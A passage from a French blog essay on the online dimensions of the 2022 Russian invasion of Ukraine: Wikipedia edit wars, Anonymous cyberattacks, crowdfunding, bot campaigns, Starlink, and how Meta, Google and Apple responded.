<p>"<em>Alors que l'attaque de la Russie contre l'Ukraine débutait ce matin à 4h, l'article "Invasion de l'Ukraine par la Russie en 2022" était créé sur Wikipédia dès 5h42. Une vingtaine de contributeurs sont déjà intervenus (je viens de mettre à jour la carte). A cette heure, l'article existe déjà sur les Wikipédia en 36 langues (dont le russe et l'ukrainien bien sûr).</em>"</p> | |||
</blockquote> | |||
<p>Deux jours avant le déclenchement "officiel" du conflit, le 22 février, c'est une guerre d'édition qui démarrait <a href="https://affordance.typepad.com/mon_weblog/2016/11/wikipediem-electoral.html" rel="noopener" target="_blank">de manière hélas presque déjà classique</a>. Guerre d'édition bloquée <a href="https://www.facebook.com/fabricio.cardenas/posts/10159125015617182" rel="noopener" target="_blank">par la vigilance des administrateurs de l'encyclopédie</a> : </p> | |||
<blockquote> | |||
<p><em>"Je viens de bloquer une adresse IP et d'annuler ses 70 contributions faites cette nuit qui consistaient à remplacer les cartes présentes sur tous les articles des Républiques de Russie avec un petit détail en plus : la petite zone à gauche y apparaît comme faisant partie de la Russie. Il s'agit bien de la Crimée, officiellement toujours territoire Ukrainien. Les cartes d'origine ont donc été rétablies."</em></p> | |||
</blockquote> | |||
<p>Et le 26 février au matin <a href="https://www.facebook.com/fabricio.cardenas/posts/10159128233987182?__cft__%5B0%5D=AZVfbq9-fUfgKbBt9_m0qIW-yFZghQIS6SLv5kOht5_7TWZlsWrySLsx2KFD0-A1umQGuWc41F7HTl1mjH1oT35q0ijgKCt81pMA4FnxESNAu-ta_GUJsLyKBSsSsrW5OBs&__tn__=%2CO%2CP-R" rel="noopener" target="_blank">il expliquait encore</a> : </p> | |||
<blockquote> | |||
<p>"<em>Bien que le nombre de contributeurs sur la Wikipédia en ukrainien ait été divisé par deux en 2 jours, celle-ci poursuit son activité et documente la guerre en cours. Wikimedia Ukraine a publié hier un message d'encouragement : [traduction Google translate]</em><br><em>« Hier, la Russie a lancé une nouvelle vague d'agression contre l'Ukraine. Si vous avez besoin de l'aide de Wikimedia Ukraine - écrivez à info@wikimedia.org.ua. Aujourd'hui nous sommes suivis par le monde entier, et les projets wiki sont l'une des principales sources d'information. Nous vous exhortons à lutter contre d'éventuelles fausses informations !</em> »"</p> | |||
</blockquote> | |||
<p>Pendant ces temps de conflit et de guerre, Wikipédia jouit d'un statut ambigu car elle est à la fois la première source d'information vers laquelle on est tenté de se porter pour vérifier des faits ou disposer d'éléments vérifiables à distance des controverses habituelles de Twitter ou de Facebook. Mais on sait également que l'essentiel des informations qui y sont disponibles sur la guerre en cours risquent d'être "ralenties" et les pages temporairement figées du fait des nombreuses tentatives de désinformation dont l'encyclopédie va être la cible. </p> | |||
<p>Elle reste pour autant un indice documentaire majeur de ce qui se joue dans ce conflit. Toujours en lisant et suivant Fabricio Cardenas et d'autres wikipédien.ne.s on apprend que parmi les articles les plus consultés sur Wikipedia en ukrainien c'est la page "Cocktail Molotov" qui a été vue plus de 100 000 fois en trois jours alors qu'elle plafonne habituellement à 200 vues journalières. Elle est suivie des pages "Invasion de l'Ukraine", "SWIFT" (Society for Worldwide Interbank Financial Telecommunication), "Anonymous" (le collectif de hackers) et "Fantôme de Kiev" (cet aviateur qui aurait abattu 6 avions russes le premier jour du conflit). </p> | |||
<h2>Les marchés sont des conversations. Les guerres également.</h2> | |||
<p>"<em>Les marchés deviennent des conversations entre les entreprises et les consommateurs.</em>" Telle est la thèse centrale de l'essai publié en 1999 par Rick Levine, Christopher Locke, Doc Searls, et David Weinberger, le "<a href="https://fr.wikipedia.org/wiki/The_Cluetrain_Manifesto" rel="noopener" target="_blank">Cluetrain Manifesto</a>" (manifeste des évidences).</p> | |||
<p><strong>Tout le monde parle de la guerre.</strong> La guerre est au centre des conversations sociales, comme avant elle le Covid, les Gilets Jaunes, et tout ce qui traverse et frappe à l'échelle de nos collectifs humains. Certains s'en désolent et raillent le fait que chacun, après être devenu sociologue, spécialiste du maintien de l'ordre ou bien encore épidémiologiste, se place aujourd'hui comme expert militaire et stratège en géopolitique. Je renvoie ici au <a href="https://twitter.com/versac/status/1497150919695294464" rel="noopener" target="_blank">court thread de Nicolas Vanbremersch</a>, qui explique pourquoi ces disqualifications <em>a priori</em> n'ont aucun sens et ne rendent pas compte de ce qui se joue d'important dans ces interstices et espaces conversationnels numériques. Extrait : </p> | |||
<blockquote> | |||
<p>"<em>Nous ne sommes pas experts et le savons. Mais nous ne déléguons pas l'expression et la construction de convictions à des sachants. Nous interagissons, réagissons, partageons, discutons. Comme les hommes et femmes l'ont toujours fait. Et ce faisant, nous montons en compétence, pour beaucoup, en nous frottant à des sources actives, à des sachants qui s'engagent dans la conversation, qui nous nourrissent. Certains d'entre nous s'égarent. Et dans tout ça, une infime minorité sort de sa zone de compétence pour l'appliquer à un nouveau sujet. (...) Évidemment, c'est confus, complexe. Mais réduire la figure des gens qui s'expriment en ligne sur ces sujets à celle d'un gros beauf qui sait tout ne changera pas cette réalité confuse et complexe. Elle disqualifie sans rien résoudre. Et heureusement que tout le monde parle Ukraine, nucléaire, géopolitique, guerre, forces, alliances. Que tout le monde se sente concerné et émette un avis. C'est le signe d'une démocratie active. C'est là où ça n'a pas lieu qu'est le problème.</em>" </p> | |||
</blockquote> | |||
<p>J'ajoute que cette <a href="https://www.liberation.fr/ecrans/2008/01/17/wikipedia-est-un-projet-encyclopedique-et-un-bien-commun-de-l-humanite_954216/" rel="noopener" target="_blank">babélisation des expertises</a> et des opinions (et la babélisation des approximations qui est son envers) est aussi la source nécessaire de la construction de cadre collectifs d'énonciation sur le temps long, comme dans le cas, certes exceptionnel mais tellement enthousiasmant, de Wikipédia. Elle est également la vitalité de ce que j'appelle "<a href="https://www.affordance.info/mon_weblog/2005/10/et_le_chercheur.html" rel="noopener" target="_blank">l'effet Pundit</a>", c'est à dire la situation d'énonciation dans laquelle se trouvent des experts "légitimes" (par leur situation académique ou professionnelle) et qui vont voir pousser vers eux à moindre coût cognitif un ensemble d'éléments factuels, d'analyses, de sources et de points de vue qui vont nourrir leur expertise tant qu'ils acceptent de la maintenir accessible et transparente.</p> | |||
<p>Chacun a bien plus à gagner dans le bruit désordonné des conversations que dans le silence organisé des populations. </p> | |||
<h2>Théâtre des opérations et décor des affiliations.</h2> | |||
<p>Comme à chaque guerre, comme à chaque injustice à résonance potentiellement planétaire ou en tout cas occidentale, Facebook propose d'ajouter un "décor", c'est le terme, à notre photo de profil. Ici ce sera le drapeau Ukrainien. Faisant de chacun d'entre nous le choisissant, une anecdotique et anonyme Tour Eiffel illuminée, la symbolique est facile. Elle participe d'une forme bien documentée de slacktivisme. Mais il ne faut pas la mépriser pour autant : elle demeure une affiliation iconique dont l'intérêt repose sur les raisons singulières qui poussent au choix de s'afficher. Il y a le théâtre des opérations. Et il y a les décors Facebook. Ces talismans, ces "panneaux" au sujet desquels, au moment de la crise des Gilets Jaunes, la sociologue <a href="https://www.affordance.info/mon_weblog/2018/11/gilets-jaunes-internet-familles-modestes-facebook.html" rel="noopener" target="_blank">Dominique Pasquier écrivait</a> : </p> | |||
<blockquote> | |||
<p>"<em>L’enjeu n’est pas tant de discuter du contenu de ces messages que de demander à ses amis s’ils sont d’accord avec le fait que ce qui est mis en ligne me reflète moi ! Le but est plus une recherche de consensus. On s’empare de ces messages pour dire qu’on s’y reconnaît et on demande aux autres s’ils nous y reconnaissent. Ces partages se font avec des gens qu’on connaît. On ne cherche pas à étendre sa sociabilité.</em>"</p> | |||
</blockquote> | |||
<p><a class="asset-img-link" href="https://www.affordance.info/.a/6a00d8341c622e53ef02942f9b5819200c-pi"><img alt="Capture d’écran 2022-02-26 à 14.14.28" class="asset asset-image at-xid-6a00d8341c622e53ef02942f9b5819200c img-responsive" src="https://www.affordance.info/.a/6a00d8341c622e53ef02942f9b5819200c-500wi" title="Capture d’écran 2022-02-26 à 14.14.28"></a></p> | |||
<p>Alors chacun ajoute, ou pas, ici un cadre décor drapeau ukrainien, là-bas des coeurs jaunes et bleus. Tatouages sociaux éphémères mais signifiants. Manière d'espérer faire masse sans se raconter trop. De prendre part au bruit du monde. De faire si peu mais de <em>faire</em> pourtant.</p> | |||
<h2>Cyberguerre.</h2> | |||
<p>La cyberguerre se décline habituellement via les opérations tactiques visant à bloquer ou infiltrer des réseaux de communications ou à paralyser des infrastructures vitales (hôpitaux notamment). L'envahissement de l'Ukraine ne déroge pas à cette règle. L'Ukraine a été la cible de <a href="https://www.lemonde.fr/pixels/article/2022/02/24/l-offensive-russe-en-ukraine-s-accompagne-de-cyberattaques_6115058_4408996.html" rel="noopener" target="_blank">cyber-attaques russes dès le lancement de l'opération militaire</a>. Samedi 26 février, le collectif de hackers "Anonymous" a annoncé avoir lancé une opération contre la Russie, faisant tomber et rendant inaccessibles Samedi en fin d'après-midi les principaux sites gouvernementaux (dont celui du Kremlin), mais <a href="https://twitter.com/AnonymousUK2022/status/1497711787990560772" rel="noopener" target="_blank">également celui de Gazprom</a>, et <a href="https://twitter.com/YourAnonTV/status/1497678663046905863" rel="noopener" target="_blank">piratant également les chaînes d'état</a> pour y <a href="https://www.tf1info.fr/international/guerre-en-ukraine-les-sites-du-kremlin-et-du-gouvernement-russe-vises-par-une-cyberattaque-anonymous-2211953.html?utm_term=Autofeed&utm_medium=Social&utm_source=Facebook&Echobox=1645898971&fbclid=IwAR1HORjTYdAZNfPrQGc4aQsxkRWnBtMr5PXmFX8RHT3G1e0WgJmNddWlQJk#xtor=CS5-111" rel="noopener" target="_blank">diffuser des ballades ukrainiennes</a> et, par intermittence, des images non-censurées du conflit en cours. Quelques heures auparavant ils avaient aussi piraté une base de données du ministère de la défense russe (contenant principalement des adresses mails et des mots de passe) qu'ils avaient ensuite leaké (mise à disposition). Le fichier n'est pour l'instant plus disponible en ligne.</p> | |||
<p>Par ailleurs l'Ukraine cherche par tous les canaux à <a href="https://www.reuters.com/world/exclusive-ukraine-calls-hacker-underground-defend-against-russia-2022-02-24/" rel="noopener" target="_blank">recruter des hackers et des spécialistes cyber</a>, et le ministre de la transformation numérique, également vice-premier minitre, <a href="https://twitter.com/FedorovMykhailo/status/1497642156076511233" rel="noopener" target="_blank">Mychailo Fedorov, tweete le lien d'un canal Telegram à cet effet</a>. Sa manière de communiquer via Twitter est par ailleurs un modèle du genre puisqu'il interpelle directement les responsables de toutes les grandes plateformes autour de leur coeur de métier rappelant à Elon Musk que pendant qu'il envoie de satellites dans l'espace, les russes envoient des missiles sur l'Ukraine, à <a href="https://twitter.com/FedorovMykhailo/status/1497941029055606791" rel="noopener" target="_blank">Zuckerberg que pendant qu'il crée le métavers les russes attaquent dans le vrai univers</a>, et ainsi de suite. </p> | |||
<p><a class="asset-img-link" href="https://www.affordance.info/.a/6a00d8341c622e53ef02942f9ba7d0200c-pi"><img alt="Capture d’écran 2022-02-28 à 09.39.25" class="asset asset-image at-xid-6a00d8341c622e53ef02942f9ba7d0200c img-responsive" src="https://www.affordance.info/.a/6a00d8341c622e53ef02942f9ba7d0200c-500wi" title="Capture d’écran 2022-02-28 à 09.39.25"></a><em>Extrait du <a href="https://twitter.com/FedorovMykhailo" rel="noopener" target="_blank">compte Twitter de Mychailo Fedorov</a> et de ses multiples adresses </em><br><em>aux grandes industries de la tech et du divertissement (entre autres)</em></p> | |||
<h2>Charity War : la guerre crowdfundée.</h2> | |||
<p>Le compte Twitter officiel de l'Ukraine a lancé <a href="https://twitter.com/Ukraine/status/1497294840110977024" rel="noopener" target="_blank">une campagne de collecte de dons</a> afin de <a href="https://bank.gov.ua/en/news/all/natsionalniy-bank-vidkriv-spetsrahunok-dlya-zboru-koshtiv-na-potrebi-armiyi" rel="noopener" target="_blank">lever des fonds pour l'armée</a>. Le Crowdfunding est désormais partout. Après le <a href="https://affordance.typepad.com/mon_weblog/2017/04/toucher-les-fonds.html" rel="noopener" target="_blank">Mercy Market</a>, <strong>voici le temps des Charity Wars</strong>. Après les dérives déjà documentées du <a href="https://affordance.typepad.com/mon_weblog/2017/06/largent-na-pas-dodeur-mais-paypal-si.html" rel="noopener" target="_blank">financement participatif de la haine</a>, voici le financement participatif de l'effort de guerre. </p> | |||
<p>Et là aussi la place de ces intermédiaires que sont les plateformes est déterminante. Ainsi <a href="https://blog.patreon.com/fr-FR/au-sujet-du-retrait-de-come-back-alive" rel="noopener" target="_blank">Patreon vient de suspendre la collecte</a> organisée par l'ONG ukrainienne <a href="https://en.wikipedia.org/wiki/Come_Back_Alive" rel="noopener" target="_blank">"Come Back Alive"</a> qui collecte des fonds pour armer et équiper les soldats Ukrainiens. Qui arbitre au final ? Et selon quels critères ? Et en est responsable ou redevable devant qui ?</p> | |||
<h2>Le Digital Labor guerrier et la guerre Uberisée.</h2> | |||
<p>La plateforme de microtasking Premise aurait été utilisée par le pouvoir Russe pour l'aider à localiser différentes cibles et pour mieux ajuster ses tirs durant l'invasion. Pour un prix entre 0,25 et 3,25 dollars via l'application Premise, il s'agissait notamment d'aider à mieux localiser des entrepôts, des ports, des infrastructures médicales, des ponts mais aussi des cratères d'explosion (?) comme en attestent les <a href="https://twitter.com/hiddenmarkov/status/1497351111656751109" rel="noopener" target="_blank">copies d'écran de Bogdan Kulynich qui a révélé l'histoire</a>.</p> | |||
<p>La société Premise a publié dans la soirée un <a href="https://www.premise.com/blog/premises-response-to-allegations-of-influence-in-ukraine/" rel="noopener" target="_blank">communiqué niant toute implication</a> et annonçant dans le même temps suspendre préventivement son application sur le territoire Ukrainien.</p> | |||
<p><strong>Il y avait une économie des petits boulots ("Gig Economy"). Elle s'étend désormais aux guerres et conflits armés.</strong> Elle a au moins le mérite d'être explicite et ne se cache plus derrière le remplissage de Captchas qui faisaient de chacun d'entre nous <a href="https://affordance.typepad.com/mon_weblog/2018/03/im-a-digital-worker-killing-an-arab.html" rel="noopener" target="_blank">les mercenaires sans consentement d'une armée technologique de l'ombre</a>. </p> | |||
<h2>Le bruit des <span>bottes</span> bots.</h2> | |||
<p>Et à ceci s'ajoute une autre guerre : celle des bots. Qui déposent à la volée des centaines de milliers de commentaires pro-Poutine sur un ensemble de sites et de pages, notamment dans l'enceinte de Facebook, jusqu'à atteindre des effets de saturation qui deviennent ingérables <a href="https://twitter.com/gchampeau/status/1496967491079262214" rel="noopener" target="_blank">comme le relate et la relaie Guillaume Champeau</a> : </p> | |||
<blockquote> | |||
<p>"<em>Un grand quotidien de Francfort (le Frankfurter Rundschau) explique qu'ils sont inondés de messages pro-Poutine postés sur leur page Facebook par des bots ou armées de trolls, et ne peuvent plus les supprimer à cause des restrictions de l'API de Facebook qui permet 10000 suppressions par jour "seulement".</em>"</p> | |||
</blockquote> | |||
<p>La même armée de bots (ou une autre) qui investit sans relâche Wikipédia et tout espace numérique médiatique simplement <em>disponible</em> pour en faire un espace médiatique numérique <em>mobilisable</em>. </p> | |||
<h2>Chief [of War] Executive Officer.</h2> | |||
<p>En réponse à une interpellation du vice-premier ministre Ukrainien (cf supra), <a href="https://twitter.com/elonmusk/status/1497701484003213317" rel="noopener" target="_blank">Elon Musk a annoncé le déploiement effectif de son réseau Starlink en Ukraine</a> avec pour objectif de pallier les coupures d'accès internet (liées aux bombardements ou aux cyber-attaques) et de fournir ainsi un appui technique opérationnel au pays. <a href="https://www.numerama.com/politique/867439-elon-musk-se-mobilise-en-activant-starlink-en-ukraine.html" rel="noopener" target="_blank">Comme le rappelle Numérama</a>, déployer le réseau satellitaire est une chose mais il faut également acheminer les kits de branchement permettant de s'y connecter (dont une antenne parabolique). </p> | |||
<p>C'est en tout cas à l'évidence <strong>une nouvelle guerre de l'espace qui s'ouvre ici</strong>. Non plus celle se limitant à l'aviation et aux missiles, mais celle également des infrastructures de télécommunication qui prennent désormais position et situation dans l'orbite terrestre basse, et dont un entrepreneur américain est en train de faire sa chasse gardée et presqu'exclusive à ce jour à cette échelle.</p> | |||
<p>Le déploiement d’accès à l’internet rapide par satellites en constellation à basse altitude est un nouveau théâtre d'opérations militaires absolument déterminant et vital. La Chine (avec le projet Guowang) et la Russie (projet Sfera) sont évidemment en course pour déployer leurs propres infrastructures. L'Europe également mais avec un retard qui sera difficile à rattraper et qui, dans le contexte géopolitique actuel, apparaît presque comme coupable. Reste que le projet pour l'instant le plus abouti et immédiatement opérationnel est entre les mains d'Elon Musk (<a href="https://www.20minutes.fr/high-tech/3051875-20210601-8-projets-similaires-a-starlink" rel="noopener" target="_blank">et prochainement de Jeff Bezos</a>). Ce qui pose <em>a minima</em> un problème de gouvernance et transforme ce qui pourrait et devrait être un gage de stabilité, une garantie d'influence et une arme à la fois diplomatique et opérationnelle, en un aléatoire soumis aux convictions, aux caprices ou à la définition du patriotisme d'un seul homme à la tête d'une seule entreprise. </p> | |||
<p>A titre d'exemple, dans la guerre de position qui se joue actuellement, à la demande du ministère de l'intérieur, <a href="https://twitter.com/christogrozev/status/1497570179026403329" rel="noopener" target="_blank">les ukrainiens sont en train de supprimer ou de modifier l'ensemble des panneaux routiers de signalisation</a>. L'armée russe semble en effet ne bénéficier que d'une connexion internet poussive qui rend la géolocalisation difficile ou impossible. <a href="https://twitter.com/RichardEngel/status/1497580698386853889" rel="noopener" target="_blank">Il s'agit donc à proprement parler de "l'égarer"</a> pour la retarder ou l'empêcher d'atteindre certaines cibles. Dans ce cas comme tant d'autres on voit bien l'avantage que peut apporter le contrôle de la mise à disposition d'une connexion internet stable et suffisamment puissante sur un théâtre d'opérations militaires.</p> | |||
<h2>Et du côté des GAFAM ?</h2> | |||
<p>Plus que jamais ces multinationales sont en situation d'arbitrage sur des questions économiques, politiques, géo-stratégiques. Et elles sont bien sûr au coeur de l'essentiel des mécanismes de désinformation. A l'exception du conflit israëlo-palestien (ou les intérêts américains sont omniprésents) c'est la première fois dans leur histoire que ces sociétés vont avoir à prendre des décisions dont elles seront comptables et redevables dans le cadre d'un conflit armé dans le monde occidental et touchant à des intérêts (et des marchés) vitaux de leur point de vue. Il ne s'agit pas simplement de rejouer l'opposition entre USA et Russie, celui des blocs, mais de redéfinir les conditions du plein exercice de la maîtrise (et de la mainmise) d'un environnement technologique en tant qu'infrastructure économique, sociale et politique. </p> | |||
<p>Avant de revenir sur les choix et les contraintes de chacune des grandes plateformes, rappelons qu'une nouvelle loi Russe datant de Juin 2021, dresse les conditions suivantes :</p> | |||
<blockquote> | |||
<p>"<em>les entreprises Internet étrangères ayant un public quotidien de plus de 500 000 utilisateurs doivent ouvrir leurs bureaux de représentation autorisés en Russie. L'organisme de surveillance des médias de masse du pays a déjà publié une liste d'entreprises tenues d'ouvrir des bureaux de représentation, et elle comprend Google, Apple, Meta Platforms, Twitter, TikTok, Telegram et d'autres.</em>"</p> | |||
</blockquote> | |||
<p>Globalement et à ce jour en Russie, les services de proxy et autres VPN sont interdits depuis 2018 et les plateformes en proposant (moteurs de recherche notamment) doivent intégrer une liste noire de sites définis par le gouvernement et qui doivent donc être rendus impossible d'accès. Le FSB (les services secrets russes) exige également dans le cadre de la loi dite de "l'internet souverain" (2019), d'installer un équipement (backdoor) permettant de disposer des clés de cryptage pour accéder aux communications sans autorisation judiciaire. Par ailleurs depuis décembre 2020, une loi votée par la Douma rend possible le blocage de tous les sites, y compris et principalement Facebook, Twitter et Youtube, <a href="https://www.20minutes.fr/monde/2939195-20201224-russie-blocage-facebook-youtube-cas-censure-autorise" rel="noopener" target="_blank">en cas "<em>de censure ou de discrimination contre le contenu de médias russes</em> (sic)"</a>.</p> | |||
<p>Or justement ...</p> | |||
<p><strong>Apple ? </strong>C'est dans ce cadre qu'<a href="https://iphonesoft.fr/2022/02/24/premier-siege-social-apple-russie-ouvert-debut-fevrier" rel="noopener" target="_blank">Apple venait d'ouvrir début Février son premier siège social en Russie</a>, "<em>se pliant aux exigences</em>" de l'état Russe comme l'indique <a href="https://tass.com/economy/1398193" rel="noopener" target="_blank">cette dépêche du 4 février 2022 de l'agence Tass</a>. Mauvais timing s'il en est ... Mychailo Fedorov, vice-premier ministre ukrainien et ministre de la transformation numérique a écrit à Tim Cook, PDG d'Apple, pour lui demander de soutenir les sanctions financières engagées et <a href="https://twitter.com/FedorovMykhailo/status/1497327555690610689" rel="noopener" target="_blank">d'arrêter de fournir des produits et services Apple à la fédération de Russie, ainsi que de bloquer les accès à l'Apple Store</a>. Sans réponse (publique) à ce jour, Tim Cook se contentant d'indiquer <a href="https://twitter.com/tim_cook/status/1497004932364341266" rel="noopener" target="_blank">qu'il soutiendra les efforts humanitaires et les appels à la paix</a> (sic). </p> | |||
<p><strong>Facebook (enfin Méta) ?</strong> Du côté du réseau social et de la firme gérant à la fois Facebook, Instagram et WhatsApp, l'attention médiatique se focalise sur le premier membre de la trilogie applicative. Un <a href="https://about.fb.com/news/2022/02/metas-ongoing-efforts-regarding-russias-invasion-of-ukraine/" rel="noopener" target="_blank">communiqué de la firme daté du 26 février fait le point sur les mesures qu'elle a adopté</a> :</p> | |||
<ul> | |||
<li>un centre opérationnel avec des locuteurs natifs en russe et en ukrainien (on sait depuis les révélations de Frances Haugen que la modération dans certaines langues et notamment sur des zones de conflit, <a href="https://www.affordance.info/mon_weblog/2021/10/facebook-networks-babylon.html" rel="noopener" target="_blank">est une incurie dramatique</a>) qui vont tenter de lutter notamment contre les discours de haine et de limiter ou d'empêcher leur viralité. Et que bien sûr "l'intelligence artificielle" viendra leur prêter main forte. </li> | |||
<li>l'ajout pour les utilisateurs ukrainiens de fonctionnalités permettant de "verrouiller" son profil et d'éviter les recherches parmi - notamment - ses listes d'amis</li> | |||
<li>et des efforts pour lutter contre la désinformation (sic).</li> | |||
</ul> | |||
<p>Ces efforts (contre la désinformation) vont notamment concerner "l'étiquetage" des contenus, en lien avec les sites et organismes qui travaillent sur le Fact-Checking sur la plateforme. On verra donc davantage de contenus "signalés", de contenus en dessous desquels on sera invité à consulter des sources "officielles", ou sur lesquels une alerte sur le risque de désinformation sera explicite. Soit désormais une habitude depuis ces deux actes "fondateurs" que furent la pandémie de Covid et les élections américaines débouchant sur l'envahissement du Capitole. </p> | |||
<p>Mais la vraie question, au-delà de cet "étiquetage" des contenus problématiques, est celle de la gestion de la recommandation et de la viralisation desdits contenus. Les repérer et les marquer comme autant de potentielles désinformations est une chose, limiter leur circulation en est une autre, bien distincte. Et sur ce point, <a href="https://about.fb.com/news/2022/02/metas-ongoing-efforts-regarding-russias-invasion-of-ukraine/" rel="noopener" target="_blank">Méta indique que</a> : </p> | |||
<blockquote> | |||
<p>"<em>Les pages, groupes, comptes et domaines Facebook qui partagent de manière répétée de fausses informations feront l'objet de sanctions supplémentaires. Par exemple, nous les supprimerons des recommandations et afficherons tout le contenu qu'ils publient plus bas dans le fil d'actualité, afin que moins de personnes le voient.</em>" </p> | |||
</blockquote> | |||
<p>La modération (humaine et effectuée par des locuteurs natifs en nombre suffisant) et la recommandation sont les deux clés de contrôle de l'ensemble des rhétoriques de désinformation et d'appel à la haine. L'histoire des grands médias sociaux nous a hélas déjà à de nombreuses reprises montré qu'ils restaient déterminés à faire pour l'essentiel l'impasse sur le premier point (la modération) en dehors de leur premier marché (américain) et de leur premier cercle d'influence (nord-occidental). Quand au second point, la recommandation et la viralisation des contenus et des discours de haine, on sait hélas aussi à quel point leur posture est et demeurera ambivalente <a href="https://affordance.typepad.com/mon_weblog/2018/10/lutter-contre-la-haine-sur-le-web.html" rel="noopener" target="_blank">tant que la dimension spéculative de ces discours de haine continuera d'être intrinsèquement liée à leur modèle économique</a>.</p> | |||
<p>Le dernier point est celui des médias contrôlés ou affiliés à des puissances étrangères. Sputnik et RT dans le cas de la Russie pour ne citer que les 2 plus connus. Ici Méta indique qu'elle démonétisera l'ensemble de ces médias en leur interdisant de faire de la publicité et de gagner de l'argent ce faisant. <a href="https://www.ouest-france.fr/monde/guerre-en-ukraine/guerre-en-ukraine-les-medias-d-etat-russes-ne-peuvent-plus-generer-de-l-argent-via-google-3f25f75e-97c4-11ec-bf4e-2e0a9047a170" rel="noopener" target="_blank">La démonétisation est également la solution choisie et mise en place par Google</a> pour l'ensemble de son écosystème (dont Youtube au premier plan).</p> | |||
<p>La société Méta indique par ailleurs qu'<a href="https://www.lemonde.fr/pixels/article/2022/02/25/la-russie-engage-un-bras-de-fer-avec-facebook_6115287_4408996.html" rel="noopener" target="_blank">elle refusera les demandes et injonctions de l'état Russe de ne pas 'modérer' et 'censurer' leurs contenus</a>.</p> | |||
<blockquote> | |||
<p>"<em>Les autorités russes nous ont ordonné d’arrêter le fact-checking et la labélisation des contenus postés sur Facebook par 4 organisations médiatiques appartenant à l’Etat russe. Nous avons refusé.</em>" Nick Clegg.</p> | |||
</blockquote> | |||
<p>Pour ce dernier point, la position de Méta ne vaut naturellement qu'en dehors de la Russie puisque <a href="https://netblocks.org/reports/twitter-and-facebook-restricted-in-russia-amid-conflict-with-ukraine-JBZrogB6" rel="noopener" target="_blank">Facebook, en Russie, est déjà passablement censuré et ralenti, tout comme l'est la plateforme Twitter depuis le début de l'invasion</a>. </p> | |||
<p>Du côté des magasins d'applications, certains médias russes (dont la chaîne RT) ont disparu, à la demande des autorités ukrainiennes, du Google Play Store en Ukraine.</p> | |||
<p>Les choses changeant et évoluant presque tous les jours, l'incontournable Netblocks fournit une <a href="https://netblocks.org/reports/twitter-and-facebook-restricted-in-russia-amid-conflict-with-ukraine-JBZrogB6" rel="noopener" target="_blank">analyse et un suivi complet en temps réel des interdictions et des limitations opérées en Russie et en Ukraine</a>.</p> | |||
<p><strong>Alphabet (enfin Google) et Youtube.</strong> Les problématiques et les réponses de Google / Alphabet sont à peu de choses près les mêmes que celles de Facebook / Méta en ce qui concerne la diffusion et la viralisation de certaines informations. La firme continue donc de diffuser sur sa plateforme Youtube et dans son moteur de recherche les médias d'état russe <a href="https://www.reuters.com/technology/youtube-blocks-rt-other-russian-channels-generating-revenue-2022-02-26/" rel="noopener" target="_blank">mais en les démonétisant</a>. La firme indique bien sûr <a href="https://twitter.com/googleeurope/status/1497312484247707651" rel="noopener" target="_blank">être particulièrement vigilante</a> : </p> | |||
<blockquote> | |||
<p>"<em>Sur YouTube, nous mettons en évidence les vidéos de sources d'information fiables et nous nous efforçons de supprimer les contenus qui violent nos politiques. Au cours des derniers jours, nous avons supprimé des centaines de chaînes et des milliers de vidéos et nous restons vigilants quant aux fausses informations violentes.</em>"</p> | |||
</blockquote> | |||
<p>Mais d'anciens éminents employés de la firme devenus lanceurs d'alerte, au premier rang desquels Guillaume Chaslot, alertent - sans l'étayer pour l'instant par des données - sur le fait que <a href="https://twitter.com/gchaslot/status/1497152168087928833" rel="noopener" target="_blank">l'algorithme de recommandation de Youtube s'emballe totalement en faveur des vidéos pro-Poutine</a>. Il documente en revanche, <a href="https://data.algotransparency.org/?date=24-02-2022" rel="noopener" target="_blank">via son site Algotransparency</a>, le fait que la vidéo la plus poussée par l'algorithme est celle d'une conférence de 2015 de John Mearsheimer, un universitaire américain spécialiste des relations internationales, et titrée : "<a href="https://www.youtube.com/watch?v=JrMiSQAGOS4" rel="noopener" target="_blank">Why is Ukraine the West's Fault ?</a>" (pourquoi l'Ukraine est-elle la faute de l'occident ?) Et <a href="https://twitter.com/gchaslot/status/1497152168087928833" rel="noopener" target="_blank">Guillaume Chaslot de s'interroger</a> à l'adresse de la patronne de Youtube, Susan Wojcicki : </p> | |||
<blockquote> | |||
<p>"<em>Pourquoi fait-il l'objet d'une telle promotion ? Parce que le titre est provocant et donc clickbait ? Parce que la Russie joue avec l'algo ? Des années de Google amplifiant activement ce type de contenu ont pour conséquence que des gens meurent en ce moment même. Susan Wojcicki nous voulons des réponses.</em>"</p> | |||
</blockquote> | |||
<p>En terminant cet article j'apprends à l'instant (dimanche 27 février 18h) qu'Ursula von der Leyen venait d'annoncer que "<a href="https://www.lemonde.fr/international/live/2022/02/27/guerre-en-ukraine-en-direct-l-union-europeenne-va-financer-l-achat-et-la-livraison-d-armes-a-kiev-et-fermer-tout-son-espace-aerien-a-la-russie_6115418_3210.html?#id-228883" rel="noopener" target="_blank">les médias Sputnik et RT étaient bannis de l'union européenne</a>". Il va être intéressant de voir comment ce "bannissement" va s'articuler avec "l'hébergement" de ces médias sur les plateformes sociales. Il est probable qu'il ne s'articule simplement ... pas. Et que si cessent les diffusions de ces chaînes sur les bandes de fréquence allouées par les régulateurs des états européens, elles continuent de pouvoir émettre au sein des plateformes privées que sont Youtube et Facebook. </p> | |||
<h2>Fisha les prisonniers de guerre. Fisha les morts.</h2> | |||
<p>Les comptes dits "Fisha", verlan du mot "affiche", sont habituellement associés au cyber-harcèlement et servent à diffuser des photos ou vidéos souvent à caractère sexuel ou intime de celles et ceux qui en sont victimes. L'Ukraine vient de lancer le site <a href="https://200rf.com/" rel="noopener" target="_blank">200rf.com</a>, qui diffuse des vidéos de soldats russes capturés, dans lesquelles on les voit souvent prendre contact téléphonique avec leur famille, mais où l'on trouve également les documents d'identité de soldats morts. Il s'agit bien "d'afficher" les morts ennemis et les prisonniers de guerre. <a href="https://www.liberation.fr/international/europe/guerre-en-ukraine-200rfcom-le-site-pour-que-les-russes-puissent-trouver-leurs-soldats-tues-20220227_4ABTC24NLRHCDC4FBOBG7RZKLQ/?utm_medium=Social&xtor=CS7-51-&utm_source=Twitter#Echobox=1645970206-1" rel="noopener" target="_blank">Comme l'explique Libération</a> : </p> | |||
<blockquote> | |||
<p>"<em>Le site est baptisé «200rf.com», d’après le code utilisé de longue date en Russie pour désigner les soldats tués au combat. Le nombre 200 fait référence au poids en kilos d’un cercueil en zinc avec un corps à l’intérieur. L’expression «cargaison 200» est d’ailleurs employée dans le jargon militaire – et plus largement dans la société russe – depuis l’époque de l’Union soviétique pour désigner le rapatriement par avion des dépouilles des militaires morts au front. Quant au «rf», il renvoie à «Russian Federation», le nom officiel de la Russie.</em>"</p> | |||
</blockquote> | |||
